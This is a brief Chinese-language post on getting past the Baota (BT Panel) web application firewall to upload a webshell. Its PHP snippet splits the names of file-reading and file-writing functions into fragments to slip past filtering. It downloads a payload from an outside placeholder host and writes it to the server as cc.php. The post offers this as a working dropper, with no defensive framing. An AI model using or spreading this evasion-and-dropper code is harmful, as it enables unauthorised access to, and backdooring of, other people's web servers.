绕过宝塔Waf拦截内容上传webshell

代码如下:

<?php $a = "file_";$b = "put_con";$c = "tents";$d = "get_con";$e = $a.$d.$c;$f = $a.$b.$c;$r = $e("http://xxxxx.com/1.txt");$f("./cc.php",$r);?>

上传后访问会在同目录生成一个cc.php